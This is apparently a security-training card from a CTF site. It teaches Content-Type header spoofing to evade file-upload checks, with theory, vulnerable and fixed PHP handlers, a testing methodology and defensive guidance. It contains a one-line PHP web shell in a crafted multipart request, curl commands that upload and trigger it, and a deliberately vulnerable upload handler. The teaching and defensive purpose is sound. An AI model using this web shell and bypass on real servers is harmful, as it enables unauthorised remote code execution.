Browse CTFs New CTF Sign in

Content-Type Bypass: MIME Sniffing and Type Header Manipulation for Upload Restriction Evasion

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

MIME type confusion has contributed to exploitation chains across every major class of web application. CVE-2016-4631 demonstrated how iOS processed attacker-controlled TIFF data because the declared MIME type was trusted over actual content inspection. On the server side, dozens of real-world file upload implementations have been bypassed solely by changing the Content-Type request header, because developers assumed this header was set by the browser based on the file's true type. In enterprise applications using Apache Tika or similar content detection libraries incorrectly, the same confusion arises: the library is called only after the declared type passes a denylist check, so the declared type is the only gate that matters.

Core Concept

The Content-Type header in a multipart upload request is a client-controlled value. The HTTP specification (RFC 7231) explicitly states that the sender chooses the media type for the entity body. A web browser sets this header by inspecting the file's extension or using OS-level MIME type maps, but any proxy or script can set it to any arbitrary string.

Server-side MIME validation falls into two categories with very different security properties:

  1. Header-based validation — the server reads $_FILES['file']['type'] (PHP) or request.files['file'].content_type (Flask). This reflects the client-supplied Content-Type header. An attacker intercepts the upload request and changes Content-Type: application/x-php to Content-Type: image/jpeg. The server accepts the file as if it were an image. This is the bypass.

  2. Content-based detection — the server reads the actual bytes of the uploaded file and determines the MIME type independently of what the client claimed. PHP's finfo_file($finfo, $tmp_path) with FILEINFO_MIME_TYPE, Python's python-magic, and the UNIX file --mime-type command all implement this. The result is derived from magic bytes (file signature bytes at known offsets), not from the header. This approach cannot be bypassed by header manipulation alone.

Browser MIME sniffing is a separate but related concept: browsers may ignore the server-supplied Content-Type response header and infer a type from the bytes of the response body. This is the client-side analogue. The X-Content-Type-Options: nosniff response header instructs compliant browsers to honour the declared type instead of sniffing — critical for preventing stored XSS via uploaded HTML files served as text/plain.

The violated invariant is: the content type used for security decisions must be derived from the file content, not from a header supplied by the entity being validated.

Technical Deep-Dive

# Original legitimate request captured in Burp Suite
POST /api/avatar/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitBoundary

------WebKitBoundary
Content-Disposition: form-data; name="avatar"; filename="profile.jpg"
Content-Type: image/jpeg

<binary JPEG data>
------WebKitBoundary--

# ── Bypass: change only Content-Type, keep .jpg extension ──────────────────
POST /api/avatar/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitBoundary

------WebKitBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitBoundary--
<?php
// VULNERABLE: trusting client-supplied Content-Type
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
$type = $_FILES['upload']['type'];   // CLIENT-CONTROLLED
if (!in_array($type, $allowed)) {
    die("Invalid file type");        // Bypassable with header change
}
move_uploaded_file($_FILES['upload']['tmp_name'], 'uploads/' . $_FILES['upload']['name']);

// SECURE: server-side content detection with finfo
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$detected = finfo_file($finfo, $_FILES['upload']['tmp_name']);
finfo_close($finfo);

$allowed_detected = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($detected, $allowed_detected)) {
    die("Invalid file content");     // Based on magic bytes, not header
}
// Also: rename file, store outside web root, strip extension
$safe_name = bin2hex(random_bytes(16)) . '.jpg';
move_uploaded_file($_FILES['upload']['tmp_name'], '/var/uploads/' . $safe_name);
?>
# Quick test using curl — set Content-Type without browser
curl -s -X POST https://app.example.com/upload 
  -F "[email protected];type=image/jpeg" 
  -b "session=<token>"
# -F with ;type= overrides the Content-Type for that form field
# If the response indicates success, the server trusted the header

# Verify execution if file is stored in a web-accessible path
curl "https://app.example.com/uploads/shell.php?cmd=id"

Security Assessment Methodology

  1. Map upload parameters — Identify all multipart form fields and API endpoints accepting file data. Capture a baseline legitimate upload in Burp Proxy.
  2. Inspect server validation response — Submit a file with an obviously disallowed extension (e.g., .exe) and observe the rejection message. Determine whether the error references "file type", "extension", or "content".
  3. Isolate Content-Type as the sole gate — In Burp Repeater, change only the Content-Type header to image/jpeg while keeping the PHP body. If the server accepts the file, Content-Type header trust is confirmed.
  4. Test cross-type spoofing — Try Content-Type: image/png, image/gif, application/pdf to see if any allowed type is accepted regardless of body content.
  5. Check stored file location and extension — Retrieve the stored file URL from the upload response. Confirm whether the server preserves the original extension or renames. If the extension is preserved as .php, RCE is achievable on execution.
  6. Test sniffing behavior — Upload an HTML file with Content-Type: text/plain. Request the stored URL and observe the browser's rendered output. If the HTML executes, X-Content-Type-Options: nosniff is missing.
  7. Run automated checks — Use Burp Scanner's "File Upload" check category and supplement with manual bypass variants.

Defensive Countermeasure — Never use $_FILES['f']['type'] or any client-supplied MIME value for security decisions. Always derive the MIME type server-side using finfo_file() (PHP), python-magic (Python), or Apache Tika with content extraction. Combine with an extension allowlist (independent layer), UUID rename on storage, and storage outside the document root.

Common Assessment Errors

  • Concluding safe after extension is blocked — The server may block .php extensions but accept any declared Content-Type. Test each validation layer independently.
  • Not confirming whether the stored file is executable — A PHP body stored with a .jpg extension is harmless unless an AddHandler directive makes .jpg executable. Always attempt to execute the stored file, not just upload it.
  • Ignoring multipart boundary edge cases — Some parsers behave differently when the boundary string contains special characters. If standard bypass fails, try boundary manipulation.
  • Testing only from a browser — Browsers set Content-Type automatically. Always use a proxy (Burp) or curl with explicit type override to confirm the bypass.
  • Missing the X-Content-Type-Options check — Even if a PHP shell cannot execute, an HTML file served without nosniff can achieve stored XSS. Always test both vectors.
  • Overlooking framework abstractions — Django's request.FILES still exposes content_type from the client. Flask's request.files['f'].content_type is equally client-controlled. The pattern is language-agnostic.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Explains the precise mechanism by which header trust creates an exploitable flaw
K0070 Knowledge of system and application security threats and vulnerabilities Connects MIME confusion to browser sniffing and server-side trust failures
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains independent layer testing to isolate Content-Type as the validation gate
S0044 Skill in mimicking threat behaviors to test defenses Develops ability to craft header-manipulated requests that evade client-side controls
T0028 Conduct and support authorized penetration testing on enterprise networks Provides tool-explicit methodology using Burp Repeater and curl
T0591 Perform penetration testing as required for new or updated applications Frames MIME bypass testing as a required upload endpoint assessment step

Further Reading

  • OWASP Testing Guide v4.2, Section 4.8.9 — Testing for Unrestricted File Upload (OWASP Foundation)
  • RFC 7231, Section 3.1.1 — Media Type (IETF)
  • Sniffing MIME Types in Browsers — Mozilla Developer Network Web Docs

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.